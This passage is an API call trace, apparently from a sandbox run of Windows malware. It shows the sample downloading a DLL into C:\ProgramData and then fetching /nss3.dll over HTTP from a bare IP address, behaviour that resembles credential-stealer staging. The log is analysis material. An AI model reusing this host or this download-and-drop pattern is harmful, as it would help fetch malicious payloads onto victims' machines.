[0095.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345a410, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345a410*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345a7f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345a7f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345abe0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345abe0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345afc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345afc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345b3b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345b3b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345b798, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345b798*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345bb80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345bb80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345bf68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345bf68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345c350, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345c350*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345c738, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345c738*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345cb20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345cb20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345cf08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345cf08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345d2f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345d2f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.713] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345d6d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345d6d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.713] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345dac0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345dac0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.727] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345dea8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345dea8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345e290, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345e290*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345e678, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345e678*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345ea60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345ea60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345ee48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345ee48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345f230, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345f230*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345f618, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345f618*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.729] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345fa00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345fa00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.729] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345fde8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345fde8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.729] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34601d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34601d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.729] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34605b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34605b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.729] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34609a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34609a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.729] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3460d88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3460d88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3461170, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3461170*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3461558, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3461558*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3461940, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3461940*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3461d28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3461d28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3462110, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3462110*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34624f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34624f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34628e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34628e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3462cc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3462cc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34630b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34630b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3463498, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3463498*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3463880, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3463880*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3463c68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3463c68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3464050, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3464050*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3464438, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3464438*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3464820, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3464820*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3464c08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3464c08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3464ff0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3464ff0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34653d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34653d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34657c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34657c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3465ba8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3465ba8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3465f90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3465f90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3466378, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3466378*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3466760, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3466760*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3466b48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3466b48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3466f30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3466f30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3467318, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3467318*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3467700, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3467700*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3467ae8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3467ae8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3467ed0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3467ed0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34682b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34682b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34686a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34686a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3468a88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3468a88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3468e70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3468e70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3469258, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3469258*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3469640, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3469640*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3469a28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3469a28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3469e10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3469e10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346a1f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346a1f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346a5e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346a5e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346a9c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346a9c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346adb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346adb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346b198, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346b198*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346b580, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346b580*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346b968, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346b968*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346bd50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346bd50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346c138, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346c138*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346c520, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346c520*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.737] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346c908, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346c908*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.752] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0 | out: lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0) returned 0 [0095.752] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0095.752] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0095.752] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0095.752] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111068 | out: hHeap=0x2110000) returned 1 [0095.752] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0095.752] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111040 [0095.752] CreateFileA (lpFileName="C:\\ProgramData\\\\msvcp140.dll" (normalized: "c:\\programdata\\msvcp140.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0095.753] WriteFile (in: hFile=0x28, lpBuffer=0x3430048*, nNumberOfBytesToWrite=0x6b738, lpNumberOfBytesWritten=0x19f7cc, lpOverlapped=0x0 | out: lpBuffer=0x3430048*, lpNumberOfBytesWritten=0x19f7cc*=0x6b738, lpOverlapped=0x0) returned 1 [0095.773] CloseHandle (hObject=0x28) returned 1 [0095.788] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0095.788] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111040 [0095.788] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111068 [0095.788] GetLastError () returned 0x0 [0095.788] SetLastError (dwErrCode=0x0) [0095.788] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0095.788] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f770, dwBufferLength=0x4) returned 1 [0095.788] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0095.788] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/nss3.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0095.788] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21111c0 [0095.788] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0095.788] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0095.789] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0095.789] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0095.789] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0095.789] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0095.859] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.859] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430048*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.863] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430430*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.863] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430818*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.864] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430c00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430c00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.864] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430fe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430fe8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.864] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34313d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34313d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.871] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34317b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34317b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.871] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3431ba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3431ba0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.871] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3431f88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3431f88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3432370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3432370*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3432758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3432758*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3432b40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3432b40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3432f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3432f28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3433310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3433310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34336f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34336f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3433ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3433ae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3433ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3433ec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34342b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34342b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3434698, 